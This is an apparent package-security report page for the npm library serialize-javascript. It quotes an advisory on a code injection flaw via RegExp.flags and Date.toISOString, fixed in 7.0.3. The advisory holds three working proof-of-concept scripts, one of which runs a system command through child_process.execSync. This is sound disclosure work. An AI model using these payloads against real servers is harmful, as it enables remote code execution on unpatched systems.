npm package report

Is serialize-javascript safe?

7 known vulnerabilities, worst severity HIGH.

// reach

1 direct dependencies

none carry a known advisory

    44 packages depend on it

    an advisory here reaches each of them

    Create a free accountfor every dependency path, dependent and what to upgrade
    // ai model usage

    Tracked for PyPI packages. HuggingFace models declare Python dependencies, so npm packages are not covered.


    cvss
    8.1
    high

    CVSS v3.1 base score out of 10

    epss
    not scored

    chance of exploitation in 30 days

    xyz score
    4.6
    medium

    CyberXYZ composite out of 10

    fig. 01 — GHSA-5c6j-r48x-rmvq, the advisory selected below

    // 7 advisories

    GHSA-5c6j-r48x-rmvq

    HIGHGitHub rating
    // impact

    The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

    While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().

    If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes.

    const serialize = require('serialize-javascript');
    // Create an object that passes instanceof RegExp with a spoofed .flags
    const fakeRegex = Object.create(RegExp.prototype);
    Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
    Object.defineProperty(fakeRegex, 'flags', {
      get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
    });
    fakeRegex.toJSON = function() { return '@placeholder'; };
    const output = serialize({ re: fakeRegex });
    // Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
    let obj;
    eval('obj = ' + output);
    console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!
    #h2. PoC 2: Code Injection via Date.toISOString()
    const serialize = require('serialize-javascript');
    const fakeDate = Object.create(Date.prototype);
    fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
    fakeDate.toJSON = function() { return '2024-01-01'; };
    const output = serialize({ d: fakeDate });
    // Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
    eval('obj = ' + output);
    console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!
    #h2. PoC 3: Remote Code Execution
    const serialize = require('serialize-javascript');
    const rceRegex = Object.create(RegExp.prototype);
    Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
    Object.defineProperty(rceRegex, 'flags', {
      get: () => '"+require("child_process").execSync("id").toString()+"'
    });
    rceRegex.toJSON = function() { return '@rce'; };
    const output = serialize({ re: rceRegex });
    // Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
    // When eval'd on a Node.js server, executes the "id" system command
    // patches

    The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

    // cvss v3.1 vector

    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

    Attack vector
    Network
    Attack complexity
    High
    Privileges required
    None
    User interaction
    None
    Scope
    Unchanged
    Confidentiality
    High
    Integrity
    High
    Availability
    High

    Checked 2026-11-06 at 21:51 UTC. The most recent advisory here was published 2026-10-23. Updated continuously from NVD, GHSA, OSV and CNA feeds.

    Think a verdict here is wrong? Tell us — we respond within 2 business days.